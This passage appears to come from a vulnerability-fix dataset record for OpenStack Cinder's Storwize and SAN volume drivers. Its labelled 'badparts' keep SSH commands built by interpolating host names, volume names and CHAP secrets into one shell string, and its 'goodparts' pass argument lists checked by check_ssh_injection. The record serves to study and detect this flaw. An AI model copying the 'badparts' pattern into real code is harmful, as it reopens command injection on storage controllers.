self._run_ssh(fc_ls_map_cmd)\n if not len(out.strip()):\n return None\n@@ -1204,8 +1200,8 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n if source == name:\n if not allow_snaps:\n return False\n- ssh_cmd = ('svctask chfcmap -copyrate 50 '\n- '-autodelete on %s' % map_id)\n+ ssh_cmd = ['svctask', 'chfcmap', '-copyrate', '50',\n+ '-autodelete', 'on', map_id]\n out, err = self._run_ssh(ssh_cmd)\n wait_for_copy = True\n # Case #3: A snapshot\n@@ -1215,19 +1211,20 @@ def _ensure_vdisk_no_fc_mappings(self, name, allow_snaps=True):\n {'name': name, 'src': source, 'tgt': target})\n self._driver_assert(target == name, msg)\n if status in ['copying', 'prepared']:\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n elif status in ['stopping', 'preparing']:\n wait_for_copy = True\n else:\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force',\n+ map_id])\n # Case 4: Copy in progress - wait and will autodelete\n else:\n if status == 'prepared':\n- self._run_ssh('svctask stopfcmap %s' % map_id)\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'stopfcmap', map_id])\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n elif status == 'idle_or_copied':\n # Prepare failed\n- self._run_ssh('svctask rmfcmap -force %s' % map_id)\n+ self._run_ssh(['svctask', 'rmfcmap', '-force', map_id])\n else:\n wait_for_copy = True\n if wait_for_copy:\n@@ -1266,9 +1263,9 @@ def _delete_vdisk(self, name, force):\n \n self._ensure_vdisk_no_fc_mappings(name)\n \n- forceflag = '-force' if force else ''\n- cmd_params = {'frc': forceflag, 'name': name}\n- ssh_cmd = 'svctask rmvdisk %(frc)s %(name)s' % cmd_params\n+ ssh_cmd = ['svctask', 'rmvdisk', '-force', name]\n+ if not force:\n+ ssh_cmd.remove('-force')\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmvdisk\n self._assert_ssh_return(len(out.strip()) == 0,\n@@ -1336,8 +1333,8 @@ def extend_volume(self, volume, new_size):\n raise exception.VolumeBackendAPIException(data=exception_message)\n \n extend_amt = int(new_size) - volume['size']\n- ssh_cmd = ('svctask expandvdisksize -size %(amt)d -unit gb %(name)s'\n- % {'amt': extend_amt, 'name': volume['name']})\n+ ssh_cmd = (['svctask', 'expandvdisksize', '-size', str(extend_amt),\n+ '-unit', 'gb', volume['name']])\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from expandvdisksize\n self._assert_ssh_return(len(out.strip()) == 0, 'extend_volume',\n@@ -1376,7 +1373,7 @@ def _update_volume_stats(self):\n \n pool = self.configuration.storwize_svc_volpool_name\n #Get storage system name\n- ssh_cmd = 'svcinfo lssystem -delim !'\n+ ssh_cmd = ['svcinfo', 'lssystem', '-delim', '!']\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes or not attributes['name']:\n exception_message = (_('_update_volume_stats: '\n@@ -1388,7 +1385,7 @@ def _update_volume_stats(self):\n backend_name = '%s_%s' % (attributes['name'], pool)\n data['volume_backend_name'] = backend_name\n \n- ssh_cmd = 'svcinfo lsmdiskgrp -bytes -delim ! %s' % pool\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-bytes', '-delim', '!', pool]\n attributes = self._execute_command_and_parse_attributes(ssh_cmd)\n if not attributes:\n LOG.error(_('Could not get pool data from the storage'))\n@@ -1406,7 +1403,7 @@ def _update_volume_stats(self):\n self._stats = data\n \n def _port_conf_generator(self, cmd):\n- ssh_cmd = '%s -delim !' % cmd\n+ ssh_cmd = cmd + ['-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n@@ -1483,7 +1480,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n \"\"\"\n \n LOG.debug(_('enter: _execute_command_and_parse_attributes: '\n- ' command %s') % ssh_cmd)\n+ ' command %s') % str(ssh_cmd))\n \n try:\n out, err = self._run_ssh(ssh_cmd)\n@@ -1509,7 +1506,7 @@ def _execute_command_and_parse_attributes(self, ssh_cmd):\n LOG.debug(_('leave: _execute_command_and_parse_attributes:\\n'\n 'command: %(cmd)s\\n'\n 'attributes: %(attr)s')\n- % {'cmd': ssh_cmd,\n+ % {'cmd': str(ssh_cmd),\n 'attr': str(attributes)})\n \n return attributes\n", "files": {"/cinder/tests/test_storwize_svc.py": {"changes": [{"diff": "\n return True\n \n # Convert argument string to dictionary\n- def _cmd_to_dict(self, cmd):\n- arg_list = cmd.split()\n+ def _cmd_to_dict(self, arg_list):\n no_param_args = [\n 'autodelete',\n 'autoexpand',\n", "add": 1, "remove": 2, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" def _cmd_to_dict(self, cmd):", " arg_list = cmd.split()"], "goodparts": [" def _cmd_to_dict(self, arg_list):"]}, {"diff": "\n \n command = kwargs['cmd']\n del kwargs['cmd']\n- arg_list = cmd.split()\n \n if command == 'lsmdiskgrp':\n out, err = self._cmd_lsmdiskgrp(**kwargs", "add": 0, "remove": 1, "filename": "/cinder/tests/test_storwize_svc.py", "badparts": [" arg_list = cmd.split()"], "goodparts": []}]}, "/cinder/volume/drivers/san/san.py": {"changes": [{"diff": "\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n \n- def _run_ssh(self, command, check_exit_code=True, attempts=1):\n+ def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):\n+ utils.check_ssh_injection(cmd_list)\n+ command = ' '. join(cmd_list)\n+\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_", "add": 4, "remove": 1, "filename": "/cinder/volume/drivers/san/san.py", "badparts": [" def _run_ssh(self, command, check_exit_code=True, attempts=1):"], "goodparts": [" def _run_ssh(self, cmd_list, check_exit_code=True, attempts=1):", " utils.check_ssh_injection(cmd_list)", " command = ' '. join(cmd_list)"]}], "source": "\n \"\"\" Default Driver for san-stored volumes. The unique thing about a SAN is that we don't expect that we can run the volume controller on the SAN hardware. We expect to access it over SSH or some API. \"\"\" import random from eventlet import greenthread from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder import utils from cinder.volume import driver LOG=logging.getLogger(__name__) san_opts=[ cfg.BoolOpt('san_thin_provision', default=True, help='Use thin provisioning for SAN volumes?'), cfg.StrOpt('san_ip', default='', help='IP address of SAN controller'), cfg.StrOpt('san_login', default='admin', help='Username for SAN controller'), cfg.StrOpt('san_password', default='', help='Password for SAN controller', secret=True), cfg.StrOpt('san_private_key', default='', help='Filename of private key to use for SSH authentication'), cfg.StrOpt('san_clustername', default='', help='Cluster name to use for creating volumes'), cfg.IntOpt('san_ssh_port', default=22, help='SSH port to use with SAN'), cfg.BoolOpt('san_is_local', default=False, help='Execute commands locally instead of over SSH; ' 'use if the volume service is running on the SAN device'), cfg.IntOpt('ssh_conn_timeout', default=30, help=\"SSH connection timeout in seconds\"), cfg.IntOpt('ssh_min_pool_conn', default=1, help='Minimum ssh connections in the pool'), cfg.IntOpt('ssh_max_pool_conn', default=5, help='Maximum ssh connections in the pool'), ] CONF=cfg.CONF CONF.register_opts(san_opts) class SanDriver(driver.VolumeDriver): \"\"\"Base class for SAN-style storage volumes A SAN-style storage value is 'different' because the volume controller probably won't run on it, so we need to access is over SSH or another remote protocol. \"\"\" def __init__(self, *args, **kwargs): execute=kwargs.pop('execute', self.san_execute) super(SanDriver, self).__init__(execute=execute, *args, **kwargs) self.configuration.append_config_values(san_opts) self.run_local=self.configuration.san_is_local self.sshpool=None def san_execute(self, *cmd, **kwargs): if self.run_local: return utils.execute(*cmd, **kwargs) else: check_exit_code=kwargs.pop('check_exit_code', None) command=' '.join(cmd) return self._run_ssh(command, check_exit_code) def _run_ssh(self, command, check_exit_code=True, attempts=1): if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) last_exception=None try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: return utils.ssh_execute( ssh, command, check_exit_code=check_exit_code) except Exception as e: LOG.error(e) last_exception=e greenthread.sleep(random.randint(20, 500) / 100.0) try: raise exception.ProcessExecutionError( exit_code=last_exception.exit_code, stdout=last_exception.stdout, stderr=last_exception.stderr, cmd=last_exception.cmd) except AttributeError: raise exception.ProcessExecutionError( exit_code=-1, stdout=\"\", stderr=\"Error running SSH command\", cmd=command) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def ensure_export(self, context, volume): \"\"\"Synchronously recreates an export for a logical volume.\"\"\" pass def create_export(self, context, volume): \"\"\"Exports the volume.\"\"\" pass def remove_export(self, context, volume): \"\"\"Removes an export for a logical volume.\"\"\" pass def check_for_setup_error(self): \"\"\"Returns an error if prerequisites aren't met.\"\"\" if not self.run_local: if not(self.configuration.san_password or self.configuration.san_private_key): raise exception.InvalidInput( reason=_('Specify san_password or san_private_key')) if not self.configuration.san_ip: raise exception.InvalidInput(reason=_(\"san_ip must be set\")) class SanISCSIDriver(SanDriver, driver.ISCSIDriver): def __init__(self, *args, **kwargs): super(SanISCSIDriver, self).__init__(*args, **kwargs) def _build_iscsi_target_name(self, volume): return \"%s%s\" %(self.configuration.iscsi_target_prefix, volume['name']) ", "sourceWithComments": "# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2011 Justin Santa Barbara\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"\nDefault Driver for san-stored volumes.\n\nThe unique thing about a SAN is that we don't expect that we can run the volume\ncontroller on the SAN hardware. We expect to access it over SSH or some API.\n\"\"\"\n\nimport random\n\nfrom eventlet import greenthread\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder import utils\nfrom cinder.volume import driver\n\nLOG = logging.getLogger(__name__)\n\nsan_opts = [\n cfg.BoolOpt('san_thin_provision',\n default=True,\n help='Use thin provisioning for SAN volumes?'),\n cfg.StrOpt('san_ip',\n default='',\n help='IP address of SAN controller'),\n cfg.StrOpt('san_login',\n default='admin',\n help='Username for SAN controller'),\n cfg.StrOpt('san_password',\n default='',\n help='Password for SAN controller',\n secret=True),\n cfg.StrOpt('san_private_key',\n default='',\n help='Filename of private key to use for SSH authentication'),\n cfg.StrOpt('san_clustername',\n default='',\n help='Cluster name to use for creating volumes'),\n cfg.IntOpt('san_ssh_port',\n default=22,\n help='SSH port to use with SAN'),\n cfg.BoolOpt('san_is_local',\n default=False,\n help='Execute commands locally instead of over SSH; '\n 'use if the volume service is running on the SAN device'),\n cfg.IntOpt('ssh_conn_timeout',\n default=30,\n help=\"SSH connection timeout in seconds\"),\n cfg.IntOpt('ssh_min_pool_conn',\n default=1,\n help='Minimum ssh connections in the pool'),\n cfg.IntOpt('ssh_max_pool_conn',\n default=5,\n help='Maximum ssh connections in the pool'),\n]\n\nCONF = cfg.CONF\nCONF.register_opts(san_opts)\n\n\nclass SanDriver(driver.VolumeDriver):\n \"\"\"Base class for SAN-style storage volumes\n\n A SAN-style storage value is 'different' because the volume controller\n probably won't run on it, so we need to access is over SSH or another\n remote protocol.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n execute = kwargs.pop('execute', self.san_execute)\n super(SanDriver, self).__init__(execute=execute,\n *args, **kwargs)\n self.configuration.append_config_values(san_opts)\n self.run_local = self.configuration.san_is_local\n self.sshpool = None\n\n def san_execute(self, *cmd, **kwargs):\n if self.run_local:\n return utils.execute(*cmd, **kwargs)\n else:\n check_exit_code = kwargs.pop('check_exit_code', None)\n command = ' '.join(cmd)\n return self._run_ssh(command, check_exit_code)\n\n def _run_ssh(self, command, check_exit_code=True, attempts=1):\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n last_exception = None\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n return utils.ssh_execute(\n ssh,\n command,\n check_exit_code=check_exit_code)\n except Exception as e:\n LOG.error(e)\n last_exception = e\n greenthread.sleep(random.randint(20, 500) / 100.0)\n try:\n raise exception.ProcessExecutionError(\n exit_code=last_exception.exit_code,\n stdout=last_exception.stdout,\n stderr=last_exception.stderr,\n cmd=last_exception.cmd)\n except AttributeError:\n raise exception.ProcessExecutionError(\n exit_code=-1,\n stdout=\"\",\n stderr=\"Error running SSH command\",\n cmd=command)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def ensure_export(self, context, volume):\n \"\"\"Synchronously recreates an export for a logical volume.\"\"\"\n pass\n\n def create_export(self, context, volume):\n \"\"\"Exports the volume.\"\"\"\n pass\n\n def remove_export(self, context, volume):\n \"\"\"Removes an export for a logical volume.\"\"\"\n pass\n\n def check_for_setup_error(self):\n \"\"\"Returns an error if prerequisites aren't met.\"\"\"\n if not self.run_local:\n if not (self.configuration.san_password or\n self.configuration.san_private_key):\n raise exception.InvalidInput(\n reason=_('Specify san_password or san_private_key'))\n\n # The san_ip must always be set, because we use it for the target\n if not self.configuration.san_ip:\n raise exception.InvalidInput(reason=_(\"san_ip must be set\"))\n\n\nclass SanISCSIDriver(SanDriver, driver.ISCSIDriver):\n def __init__(self, *args, **kwargs):\n super(SanISCSIDriver, self).__init__(*args, **kwargs)\n\n def _build_iscsi_target_name(self, volume):\n return \"%s%s\" % (self.configuration.iscsi_target_prefix,\n volume['name'])\n"}, "/cinder/volume/drivers/storwize_svc.py": {"changes": [{"diff": "\n for char in invalid_ch_in_host)\n \n def _get_iscsi_ip_addrs(self):\n- generator = self._port_conf_generator('svcinfo lsportip')\n+ generator = self._port_conf_generator(['svcinfo', 'lsportip'])\n header = next(generator, None)\n if not header:\n return\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" generator = self._port_conf_generator('svcinfo lsportip')"], "goodparts": [" generator = self._port_conf_generator(['svcinfo', 'lsportip'])"]}, {"diff": "\n def _get_fc_wwpns(self):\n for key in self._storage_nodes:\n node = self._storage_nodes[key]\n- ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]\n raw = self._run_ssh(ssh_cmd)\n resp = CLIResponse(raw, delim='!', with_header=False)\n wwpns = set(node['WWPN'])\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim ! %s' % node['id']"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!', node['id']]"]}, {"diff": "\n self._context = ctxt\n \n # Validate that the pool exists\n- ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'\n+ ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsmdiskgrp -delim ! -nohdr'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsmdiskgrp', '-delim', '!', '-nohdr']"]}, {"diff": "\n # Check if compression is supported\n self._compression_enabled = False\n try:\n- ssh_cmd = 'svcinfo lslicense -delim !'\n+ ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n license_lines = out.strip().split('\\n')\n for license_line in license_lines:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lslicense -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lslicense', '-delim', '!']"]}, {"diff": "\n LOG.exception(_('Failed to get license information.'))\n \n # Get the iSCSI and FC names of the Storwize/SVC nodes\n- ssh_cmd = 'svcinfo lsnode -delim !'\n+ ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), 'do_setup',\n ssh_cmd, out, err)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsnode -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsnode', '-delim', '!']"]}, {"diff": "\n \"\"\"Generate and store a randomly-generated CHAP secret for the host.\"\"\"\n \n chap_secret = utils.generate_password()\n- ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'\n- % {'chap_secret': chap_secret, 'host_name': host_name})\n+ ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from chhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask chhost -chapsecret \"%(chap_secret)s\" %(host_name)s'", " % {'chap_secret': chap_secret, 'host_name': host_name})"], "goodparts": [" ssh_cmd = ['svctask', 'chhost', '-chapsecret', chap_secret, host_name]"]}, {"diff": "\n LOG.debug(_('enter: _get_chap_secret_for_host: host name %s')\n % host_name)\n \n- ssh_cmd = 'svcinfo lsiscsiauth -delim !'\n+ ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsiscsiauth -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsiscsiauth', '-delim', '!']"]}, {"diff": "\n \n def _find_host_from_wwpn(self, connector):\n for wwpn in connector['wwpns']:\n- ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn\n+ ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsfabric -wwpn %s -delim !' % wwpn"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsfabric', '-wwpn', wwpn, '-delim', '!']"]}, {"diff": "\n \n def _find_host_exhaustive(self, connector, hosts):\n for host in hosts:\n- ssh_cmd = 'svcinfo lshost -delim ! %s' % host\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()),\n '_find_host_exhaustive',\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim ! %s' % host"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!', host]"]}, {"diff": "\n LOG.debug(_('enter: _get_host_from_connector: prefix %s') % prefix)\n \n # Get list of host in the storage\n- ssh_cmd = 'svcinfo lshost -delim !'\n+ ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']\n out, err = self._run_ssh(ssh_cmd)\n \n if not len(out.strip()):\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshost -delim !'"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshost', '-delim', '!']"]}, {"diff": "\n # When creating a host, we need one port\n self._driver_assert(len(ports), _('_create_host: No connector ports'))\n port1 = ports.pop(0)\n- ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %\n- {'port1': port1, 'host_name': host_name})\n+ arg_name, arg_val = port1.split()\n+ ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',\n+ '\"%s\"' % host_name]\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return('successfully created' in out,\n '_create_host', ssh_cmd, out, err)\n \n # Add any additional ports to the host\n for port in ports:\n- ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))\n+ arg_name, arg_val = port.split()\n+ ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,\n+ host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n LOG.debug(_('leave: _create_host: host %(host)s - %(host_name)s') %\n", "add": 6, "remove": 3, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkhost -force %(port1)s -name \"%(host_name)s\"' %", " {'port1': port1, 'host_name': host_name})", " ssh_cmd = ('svctask addhostport -force %s %s' % (port, host_name))"], "goodparts": [" arg_name, arg_val = port1.split()", " ssh_cmd = ['svctask', 'mkhost', '-force', arg_name, arg_val, '-name',", " '\"%s\"' % host_name]", " arg_name, arg_val = port.split()", " ssh_cmd = ['svctask', 'addhostport', '-force', arg_name, arg_val,", " host_name]"]}, {"diff": "\n \"\"\"Return the defined storage mappings for a host.\"\"\"\n \n return_data = {}\n- ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name\n+ ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mappings = out.strip().split('\\n')\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lshostvdiskmap -delim ! %s' % host_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lshostvdiskmap', '-delim', '!', host_name]"]}, {"diff": "\n \n # Volume is not mapped to host, create a new LUN\n if not mapped_flag:\n- ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '\n- '%(result_lun)s %(volume_name)s' %\n- {'host_name': host_name,\n- 'result_lun': result_lun,\n- 'volume_name': volume_name})\n+ ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,\n+ '-scsi', result_lun, volume_name]\n out, err = self._run_ssh(ssh_cmd, check_exit_code=False)\n if err and err.startswith('CMMVC6071E'):\n if not self.configuration.storwize_svc_multihostmap_enabled:\n", "add": 2, "remove": 5, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ('svctask mkvdiskhostmap -host %(host_name)s -scsi '", " '%(result_lun)s %(volume_name)s' %", " {'host_name': host_name,", " 'result_lun': result_lun,", " 'volume_name': volume_name})"], "goodparts": [" ssh_cmd = ['svctask', 'mkvdiskhostmap', '-host', host_name,", " '-scsi', result_lun, volume_name]"]}, {"diff": "\n 'was not created because the VDisk is '\\\n 'already mapped to a host.\\n\"'\n raise exception.CinderException(data=exception_msg)\n- ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',\n- 'mkvdiskhostmap -force')\n+\n+ for i in range(len(ssh_cmd)):\n+ if ssh_cmd[i] == 'mkvdiskhostmap':\n+ ssh_cmd.insert(i + 1, '-force')\n+\n # try to map one volume to multiple hosts\n out, err = self._run_ssh(ssh_cmd)\n LOG.warn(_('volume %s mapping to multi host') % volume_name)\n", "add": 5, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = ssh_cmd.replace('mkvdiskhostmap',", " 'mkvdiskhostmap -force')"], "goodparts": [" for i in range(len(ssh_cmd)):", " if ssh_cmd[i] == 'mkvdiskhostmap':", " ssh_cmd.insert(i + 1, '-force')"]}, {"diff": "\n \n LOG.debug(_('enter: _delete_host: host %s ') % host_name)\n \n- ssh_cmd = 'svctask rmhost %s ' % host_name\n+ ssh_cmd = ['svctask', 'rmhost', host_name]\n out, err = self._run_ssh(ssh_cmd)\n # No output should be returned from rmhost\n self._assert_ssh_return(len(out.strip()) == 0,\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmhost %s ' % host_name"], "goodparts": [" ssh_cmd = ['svctask', 'rmhost', host_name]"]}, {"diff": "\n \n def _get_conn_fc_wwpns(self, host_name):\n wwpns = []\n- cmd = 'svcinfo lsfabric -host %s' % host_name\n+ cmd = ['svcinfo', 'lsfabric', '-host', host_name]\n generator = self._port_conf_generator(cmd)\n header = next(generator, None)\n if not header:\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" cmd = 'svcinfo lsfabric -host %s' % host_name"], "goodparts": [" cmd = ['svcinfo', 'lsfabric', '-host', host_name]"]}, {"diff": "\n # Check if vdisk-host mapping exists, remove if it does\n mapping_data = self._get_hostvdisk_mappings(host_name)\n if vol_name in mapping_data:\n- ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\\n- (host_name, vol_name)\n+ ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,\n+ vol_name]\n out, err = self._run_ssh(ssh_cmd)\n # Verify CLI behaviour - no output is returned from\n # rmvdiskhostmap\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svctask rmvdiskhostmap -host %s %s' % \\", " (host_name, vol_name)"], "goodparts": [" ssh_cmd = ['svctask', 'rmvdiskhostmap', '-host', host_name,", " vol_name]"]}, {"diff": "\n parsed/matched to a single vdisk.\n \"\"\"\n \n- ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]\n return self._execute_command_and_parse_attributes(ssh_cmd)\n \n def _get_vdisk_fc_mappings(self, vdisk_name):\n \"\"\"Return FlashCopy mappings that this vdisk is associated with.\"\"\"\n \n- ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name\n+ ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]\n out, err = self._run_ssh(ssh_cmd)\n \n mapping_ids = []\n", "add": 2, "remove": 2, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" ssh_cmd = 'svcinfo lsvdisk -bytes -delim ! %s ' % vdisk_name", " ssh_cmd = 'svcinfo lsvdiskfcmappings -nohdr %s' % vdisk_name"], "goodparts": [" ssh_cmd = ['svcinfo', 'lsvdisk', '-bytes', '-delim', '!', vdisk_name]", " ssh_cmd = ['svcinfo', 'lsvdiskfcmappings', '-nohdr', vdisk_name]"]}, {"diff": "\n LOG.debug(_('enter: _create_vdisk: vdisk %s ') % name)\n \n model_update = None\n- autoex = '-autoexpand' if opts['autoexpand'] else ''\n- easytier = '-easytier on' if opts['easytier'] else '-easytier off'\n+ easytier = 'on' if opts['easytier'] else 'off'\n \n # Set space-efficient options\n if opts['rsize'] == -1:\n- ssh_cmd_se_opt = ''\n+ ssh_cmd_se_opt = []\n else:\n- ssh_cmd_se_opt = (\n- '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %\n- {'rsize': opts['rsize'],\n- 'autoex': autoex,\n- 'warn': opts['warning']})\n+ ssh_cmd_se_opt = ['-rsize', '%s%%' % str(opts['rsize']),\n+ '-autoexpand', '-warning',\n+ '%s%%' % str(opts['warning'])]\n+ if not opts['autoexpand']:\n+ ssh_cmd_se_opt.remove('-autoexpand')\n+\n if opts['compression']:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + ' -compressed'\n+ ssh_cmd_se_opt.append('-compressed')\n else:\n- ssh_cmd_se_opt = ssh_cmd_se_opt + (\n- ' -grainsize %d' % opts['grainsize'])\n-\n- ssh_cmd = ('svctask mkvdisk -name %(name)s -mdiskgrp %(mdiskgrp)s '\n- '-iogrp 0 -size %(size)s -unit '\n- '%(unit)s %(easytier)s %(ssh_cmd_se_opt)s'\n- % {'name': name,\n- 'mdiskgrp': self.configuration.storwize_svc_volpool_name,\n- 'size': size, 'unit': units, 'easytier': easytier,\n- 'ssh_cmd_se_opt': ssh_cmd_se_opt})\n+ ssh_cmd_se_opt.extend(['-grainsize', str(opts['grainsize'])])\n+\n+ ssh_cmd = ['svctask', 'mkvdisk', '-name', name, '-mdiskgrp',\n+ self.configuration.storwize_svc_volpool_name,\n+ '-iogrp', '0', '-size', size, '-unit',\n+ units, '-easytier', easytier] + ssh_cmd_se_opt\n out, err = self._run_ssh(ssh_cmd)\n self._assert_ssh_return(len(out.strip()), '_create_vdisk',\n ssh_cmd, out, err)\n", "add": 15, "remove": 19, "filename": "/cinder/volume/drivers/storwize_svc.py", "badparts": [" autoex = '-autoexpand' if opts['autoexpand'] else ''", " easytier = '-easytier on' if opts['easytier'] else '-easytier off'", " ssh_cmd_se_opt = ''", " ssh_cmd_se_opt = (", " '-rsize %(rsize)d%% %(autoex)s -warning %(warn)d%%' %", " {'rsize': 